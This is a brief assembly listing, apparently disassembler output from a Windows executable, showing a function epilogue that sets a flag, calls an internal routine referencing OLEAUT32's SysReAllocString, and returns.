cmp dword [rbp + 0x24], 0xffffffff
jne 0x14000710f
xor eax, eax
jmp 0x140007114
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.14000a0a0
mov rax, rdi
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret